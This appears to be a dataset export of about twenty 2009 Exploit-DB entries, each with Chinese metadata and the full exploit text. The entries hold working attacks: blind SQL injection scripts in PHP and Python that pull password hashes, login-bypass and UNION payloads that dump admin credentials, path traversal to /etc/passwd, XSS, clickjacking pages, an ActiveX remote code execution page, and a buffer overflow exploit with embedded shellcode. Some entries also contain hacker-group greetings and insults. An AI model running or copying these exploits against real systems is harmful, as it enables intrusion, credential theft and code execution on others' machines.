QLWD/code_shield huggingface dataset:
标题: PLE CMS 1.0 Beta 4.2 - Blind SQL Injection EDB-ID: 7917 CVE: 2009-0394 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-29 漏洞利用脚本: --+++==============================================================+++--
--+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
 $query = "123 OR ASCII(SUBSTRING((SELECT password FROM users WHERE userID = '{$user}'),{$pos},1))={$chr}";
 $query = str_replace (" ", "%20", $query);
 $query = str_replace ("'", "%27", $query);
 return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
 $chr = ord ($chr);
 $fp = fsockopen ($hostname, 80);

 $get =  "GET {$path}/login.php?school=" . query ($user, $pos, $chr) . " HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n\r\n";
 
 fputs ($fp, $get);

 while (!feof ($fp))
  $x .= fgets ($fp, 1024);


 fclose ($fp);
 
 if (preg_match ("/ERROR: School not found!/", $x))
  return false;
 else
  return true;
}

function usage ()
{
 exit (
  "\nPLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit".
  "\n[+] Author: darkjoker".
  "\n[+] Site  : http://darkjoker.net23.net".
  "\n[+] Download: http://kent.dl.sourceforge.net/sourceforge/plecms/plecms_beta4_2.zip".
  "\n[+] Usage   : php xpl.php <hostname> <path> <username> <key>".
  "\n[+] Ex.     : php xpl.php localhost /PLECMS root abcdefghijklmnopqrstuvwxyz0123456789".
  "\n\n");
}

if ($argc < 4)
 usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$chr = 0;
$pos = 1;

print "\n[+] Password: ";

while ($chr < strlen ($key))
{
 if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
 {
  echo $key [$chr];
  $chr = 0;
  $pos++;
 }
 else
  $chr++;
}

print "\n\n";

# milw0rm.com [2009-01-29] URL: https://www.exploit-db.com/exploits/7917
标题: Netartmedia Car Portal 1.0 - Authentication Bypass EDB-ID: 7916 CVE: 2009-0395 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-29 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
=                                 XORON 2009(C)
=
=              Car Portal v1.0 (Bypass) Remote SQL Injection Vuln.      
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Script:   CAR PORTAL, version 1.0
=
= Author: xoron
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Exploit:   
=
=                       //Username:  ' or '1=1
=                        //Password:  ' or '1=1
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2009-01-29] URL: https://www.exploit-db.com/exploits/7916
标题: Motorola Wimax modem CPEi300 - File Disclosure / Cross-Site Scripting EDB-ID: 7915 CVE: 2009-0393 2009-0392 类型: REMOTE 平台: HARDWARE 发布日期: 2009-01-29 漏洞利用脚本: #####################################################################################
#
#   Name    :   Motorola Wimax modem CPEi300 Multiple Vulnerabilities
#   Author  :   Usman Saeed 
#   Company :   Xc0re Security Reasearch Group
#   Homepage :  http://www.xc0re.net
#
#####################################################################################


[Note: User needs to logged in! ]

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation : 

   [+] Directory traversal
 http://Hostname/cgi-bin/sysconf.cgi?page=../../../etc/passwd&action=request&sid=AeoFSFoI4lDs 

   [+] XSS 

 http://Hostname/cgi-bin/sysconf.cgi?page="><script>alert(1);</script>"&action=request&sid=AeoFSFoI4lDs  


# milw0rm.com [2009-01-29] URL: https://www.exploit-db.com/exploits/7915
标题: WOW Web On Windows ActiveX Control 2 - Remote Code Execution EDB-ID: 7910 CVE: 2009-0389 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-29 漏洞利用脚本: Written By Michael Brooks
Special thanks to str0ke!

software:WOW - Web On Windows ActiveX Control 2  - Remote Code Execution
exploit type: Remote File Upload and Remote Code Execution
Download: http://www.download.com/WOW-Web-On-Windows-ActiveX-Control/3000-2206_4-10049976.html
183,682  downloads at the time of publishing this exploit.

This entire dll is full of bad functions,  including read write access
to the registry.
This must have been accidentally registered to IE's ActiveX interface.

<html>
<object classid="clsid:441E9D47-9F52-11D6-9672-0080C88B3613" id="obj">
 </object>
</html>
 <script>
 obj.WriteIniFileString("C:\\hack.bat","","calc.exe ","");
 obj.ShellExecute(0,"open","hack.bat",0,"C:\\",0);
</script>

# milw0rm.com [2009-01-29] URL: https://www.exploit-db.com/exploits/7910
标题: Microsoft Internet Explorer 7 - Clickjacking EDB-ID: 7912 CVE: 2009-0369 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-29 漏洞利用脚本: #############################################################
# Application Name       : Ä°nternet Explorer 7
# Vulnerable Type        : Clickjacking
# Author                     : UzmiX
#############################################################
< ------------------- header data end of ------------------- >
<html>
<body>
<div id="open"
onmouseover="document.location='http://www.uzmix.net';"
style="position:absolute;width:8px;height:7px;background:#FFFFFF;border:1px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
<center>
<br>
<br>
<a href="http://www.google.com" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">http://www.google.com</font></a>
</html>

# milw0rm.com [2009-01-29] URL: https://www.exploit-db.com/exploits/7912
标题: Social Engine 3.06 - 'category_id' SQL Injection EDB-ID: 7900 CVE: 2009-0400 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: ==================================================================================================================
=         SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM            = 
=         S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M            =      
+         SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M            +       
=             S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M            =      
=         SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M            = 
===================================================SNAKES TEAM====================================================
+                                                                                                                =
=                            Social Engine (blog.php) SQL Injection Vulnerability                                +
+                                                                                                                =
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =          Discovered By: Snakespc  :::ALGERIAN HaCkEr:::               =     =   
                =                                                                                    =
                                    :::::Mail: snakespc@gmail.com:::::::             
                =                                                                                    =                                                                                   
                =            http://www.socialengine.net/demos.php  "blog.php"                       =
                  ===================================GAZA=============================================

Exploit:
http://localhost/blog.php?user=darkthronex&category_id=-5+UNION SELECT 1,2,3,4,5,concat(admin_username,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18+from+se_admins/*
********
demo:
http://www.socialenginedev.com/blog.php?user=darkthronex&category_id=-5+UNION SELECT 1,2,3,4,5,concat(admin_username,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18+from+se_admins/*
============================================================== ALLAH AKBAR=========================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: SuB-ZeRo
ALL www.SnakespC.com/sc >>>>dz-security.net >>>> Members 
Str0ke ....Milw0rm
=====================================================GAZA=========================================================================

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7900
标题: SmartSiteCMS 1.0 - Blind SQL Injection EDB-ID: 7901 CVE: 2009-0405 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: #!/usr/bin/python

import sys
import re
from socket import *

class exploit:
 def __init__(self,host,path,user):
  self.host=host
  self.path=path
  self.user=user
  self.reg=re.compile("<!-- END COMMENT FORM -->")
 def set_query(self,n,ch):
  self.query="' OR ASCII(SUBSTRING((SELECT password FROM users WHERE userName='"+self.user+"'),"+str(n)+",1)) = "+str(ord(ch))+" OR '1'='2"
  self.query = self.query.replace(" ","%20")
  self.query = self.query.replace("'","%27")
  self.request="GET "+self.path+"/articles.php?var="+self.query+" HTTP/1.0\r\nHost: "+self.host+"\r\n\n"
 def check(self):
  sock=socket(AF_INET, SOCK_STREAM)
  sock.connect((self.host, 80))
  sock.send(self.request)
  r=""
  t="-"
  while(t!=""):
   t=sock.recv(1024)
   r+=t
  match=self.reg.search(r)
  if(r[match.start()+27:match.start()+59]!="<!-- END OF RELATED ARTICLES -->"):
   return 1
  else:
   return 0
  sock.close()

print "////*****************************************\\\\\\\\"
print "||||           smartSiteCMS 1.0 v1.0         ||||"
print "||||            Blind SQL injection          ||||"
print "||||          ||||"
print "|||| ~Author: certaindeath                   ||||"
print "|||| ~Greetz: darkjoker                      ||||"
print "\\\\\\\\*****************************************////\n"

if(len(sys.argv) !=4 ):
 print "Usage: python xpl.py <host> <cms path> <user>"
 print "Example: python xpl.py localhost /cms admin"
 sys.exit(0)

pwd=""
xpl = exploit(sys.argv[1],sys.argv[2],sys.argv[3])
n=1
while(n<=32):
 t=0
 xpl.set_query(n,str(t))
 while (xpl.check()!=1):
  t+=1
  xpl.set_query(n,str(hex(t))[-1])
 pwd+=str(hex(t))[-1]
 n+=1
print "pass [md5]: ",pwd

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7901
标题: Google Chrome 1.0.154.43 - Clickjacking EDB-ID: 7903 CVE: 2009-0374 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-28 漏洞利用脚本: #############################################################
# Application Name   : Google Chrome Web Browser
# Vulnerable Type    : Clickjacking
# Home                   : www.ozkanbozkurt.com
# Author                 : x0x
#############################################################
< ------------------- header data end of ------------------- >

<html>
<style type="text/css">
<!--
.style1 {
 font-size: 50px;
 font-weight: bold;
}
.style2 {
 color: #FF0000;
 font-weight: bold;
 font-size: 24px;
}
-->
</style>
<body>
<span class="style2">x0x</span>
<div class="style1" id="open"
style="position:absolute; width:8px; height:7px; background:#FFFFFF; border:1px; left: 19px; top: 115px;"
onmouseover="document.location='http://www.cyber-warrior.org/BARCOD3';">This</div>
<p><strong>
  <script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.haber7.com/haber.asp?id=11111" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">haber icin tiklayiniz</font></a></p>
<p><br>
</p>
</html>
 
 
 
Greetz : All CW Users | All Muslims and Only Brother me Septemb0x

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7903
标题: Max.Blog 1.0.6 - 'offline_auth.php' Offline Authentication Bypass EDB-ID: 7899 CVE: 2009-0409 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: ###################             Salvatore "drosophila" Fresta
###################


Application:    Max.Blog
                               http://www.mzbservices.com
Version:                Max.Blog <= 1.0.6
Bug:            * Offline Authentication Bypass
Exploitation:   Remote
Dork:                   intext:"Powered by Max.Blog"
Date:           27 Jan 2009
Discovered by:  Salvatore "drosophila" Fresta
Author:         Salvatore "drosophila" Fresta
                       e-mail: drosophilaxxx@gmail.com


############################################################################

- BUGS

Offline Authentication Bypass Exploit:

       Requisites: magic quotes = off

       File affected: offline_auth.php

       This bug allows a guest to bypass an offline authentication service
       using SQL Injection vulnerability.

############################################################################

- CODE

<html>
       <head>
               <title>
                       Salvatore "drosophila" Fresta - Max.Blog <= 1.0.6 Offline
Authentication Bypass Exploit
               </title>
       </head>
       <body>
               <form
action="http://www.site.com/path/offline_auth.php" method="POST">
                       <input type="text" name="username"
value="admin'#" size="15">
                       <input type="hidden" name="password">
                       <input type="submit" value="Go!">
               </form>
       </body>
</html>

############################################################################

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7899
标题: Zinf Audio Player 2.2.1 - '.pls' Stack Overflow (PoC) EDB-ID: 7887 CVE: 2004-0964 类型: DOS 平台: WINDOWS 发布日期: 2009-01-27 漏洞利用脚本: #!/usr/bin/perl
# Discovered & Written by : Hakxer
# Home : www.sec-geeks.com
# Program : http://www.zinf.org/ ../http://prdownloads.sourceforge.net/zinf/zinf-setup-2.2.1.exe
# Zinf Audio Player 2.2.1 (PLS FILE)  Buffer Overflow PoC

my $chars="\x90" x 2000;

open(MYFILE,'>>hakxer.pls');

print MYFILE $chars;

close(MYFILE);

print " PoC Created .. Hakxer [ Sec-Geeks.com ] EgY Coders Team";

# milw0rm.com [2009-01-27] URL: https://www.exploit-db.com/exploits/7887
标题: Gazelle CMS 1.0 - 'template' Local File Inclusion EDB-ID: 7895 CVE: 2009-3167 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: Gazelle CMS Local File Inclusion
http://www.anantasoft.com/

/gazelle/?template=../../../../../../../../../../../../etc/passwd%00 (view source)

Author notified: Jan 20

http://nukeit.org

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7895
标题: Chipmunk Blog - (Authentication Bypass) Add Admin EDB-ID: 7894 CVE: 2009-0403 2009-0399 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Script         : Chipmunk Blog
Download       : http://www.chipmunk-scripts.com/blog/blog.zip
Vulnerability  : Add Admin Exploit\Auth Bypass
Author         : x0r
Contact        : x0r@live.it \ andry2000@hotmail.it
Website        : NULL

#########################################################################################
[0x02] Bug: \admin\reguser.php \admin\authenticate.php

if (isset($_POST['submit'])) // name of submit button
{
   $username=$_POST['username'];
   $password=$_POST['password'];
   $password=md5($password);
   $getadmin="SELECT * from bl_admin where username='$username' and
password='$password'";
   $getadmin2=mysql_query($getadmin) or die("Could not get admin");


#########################################################################################
[0x03] Exploit:

Add Admin:

<html>
<head>
<title> Chipmunk Blog (reguser.php) Add Admin Exploit (html)</title>
</head>
<body>
<form action=http://xxxxxxx/blog/admin/reguser.php method=post>
Username:<br>
<input type=text name='username' value='x0r' size="20"><br>
Password:<br>
<input type=text name='password' value='h4x0rz' size="20"><br>
<input type="text" name="pass2" value='h4x0rz' size="15"><br>
<input type=submit name='submit' value='submit'><br>
</form>
</body>
</html>

Exploit2: admin ' or ' 1=1--
#########################################################################################

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7894
标题: Zinf Audio Player 2.2.1 - '.pls' Universal Local Buffer Overflow EDB-ID: 7888 CVE: 2004-0964 类型: LOCAL 平台: WINDOWS 发布日期: 2009-01-28 漏洞利用脚本: #!/usr/bin/perl -w

# Author : Houssamix

# Zinf Audio Player 2.2.1 (PLS File) Universal Local Buffer Overflow exploit
# tested in windows pro Sp 2 (french)



print "===================================================================== \n";
print "Author : Houssamix            \n";
print "===================================================================== \n";
print "Zinf Audio Player 2.2.1  Universal Local Buffer Overflow exploit       \n";
print "===================================================================== \n";


my $overflow = "\x41" x 1300;
my $ret = "\xC8\x2C\x00\x10"; #0x10002CC8  push esp - ret > universal adress(vorbisfile.dll)
my $nop = "\x90" x 128 ;

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x43\x4b\x48\x4e\x37".
"\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x58".
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x53\x4b\x38".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58".
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x48\x42\x34\x42\x53\x45\x58\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x58\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x45\x41\x43".
"\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x36".
"\x4e\x56\x43\x36\x42\x50\x5a";


my $file="hsmx.pls";

$exploit = $overflow.$ret.$nop.$shellcode;

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;


close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7888
标题: Community CMS 0.4 - 'id' Blind SQL Injection EDB-ID: 7892 CVE: 2009-0406 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: --+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
 $query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
 $query = str_replace (" ", "%20", $query);
 $query = str_replace ("'", "%27", $query);

 return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
 $chr = ord ($chr);
 $fp = fsockopen ($hostname, 80);
 
 $query = query ($user, $pos, $chr);
 $get =  "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n\r\n";
 
 fputs ($fp, $get);

 while (!feof ($fp))
  $x .= fgets ($fp, 1024);
 
 fclose ($fp);
 
 if (preg_match ("/Failed to load page/", $x))
  return false;
 else
  return true;
 
}

function usage () {
 exit (
  "Community CMS <= 0.4 Blind SQL Injection Exploit".
  "\n[+] Author  : darkjoker".
  "\n[+] Site    : http://darkjoker.net23.net".
  "\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
  "\n[+] Usage   : php xpl.php <localhost> <path> <username>".
  "\n[+] Ex.     : php xpl.php localhost /CommunityCMS admin".
  "\n[+] Greetz  : certaindeath".
  "\n\n");
}

if ($argc != 4)
 usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
 if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
 {
  echo $key [$chr];
  $chr = 0;
  $pos++;
 }
 else
  $chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-28] URL: https://www.exploit-db.com/exploits/7892
标题: OpenX 2.6.3 - 'MAX_type' Local File Inclusion EDB-ID: 7883 CVE: 2009-0291 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: <snip>
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
</snip>

If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type, 
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see 
the /etc/passwd file before you ;)

-Charlie Briggs [Elites0ft.com]

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7883
标题: Groone's GLink ORGanizer - 'index.php?cat' SQL Injection EDB-ID: 7878 CVE: 2009-0299 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: #Groone's GLink Organizer (index.php) SQL Injection Vulnerability


#Author: nuclear


#download:
http://www.groonesworld.com/programs/glinks/glinks.zip


#vuln:
http://localhost/[path]/index.php?cat=-1 union select 1,@@version,3 %23


#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A,Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar 

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7878
标题: Joomla! Component ElearningForce Flash Magazine Deluxe - SQL Injection EDB-ID: 7881 CVE: 2009-0373 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: www.turkguvenligi.info / Author : TurkGuvenligi / Mail : admin@turkguvenligi.info

t4cs1zkr4L - Agd_scorp - TheHacker - Fatih - SuSkuN - Zec - DreamTurk - Mr.SheYtaN - Ghost61 - BLaSteR - Desquner

Very Very Thanks : TurkguvenLigi Members - Terrorist Crew

Joomla Component Flash Magazine Deluxe Remote Sql Injection

http://localhost/index.php?option=com_flashmagazinedeluxe&Itemid=10&task=magazine&mag_id=-4+SQL

companent down bro : http://www.elearningforce.biz/flash-magazine-deluxe/flash-magazine-deluxe-description.html

SQL : union+select+1,2,3,unhex(hex(version())),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*

Are you ready ? , isko s2mi 7.

Hop hop isko top isko , hop hop isko gÃ¶t isko...

Note : Ä°sko[bknz:Ã¶kÃ¼z]'un makinemize Ã§ektigi agÄ±r ddos tan doLayÄ± server yeniLeniyor...

Ã§ok yakÄ±nda [TG] online...Ä°sko artÄ±k sende kabahat buLmuyom seni o mahaLLede barÄ±ndÄ±ran

muhtarÄ±n a.Q...

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7881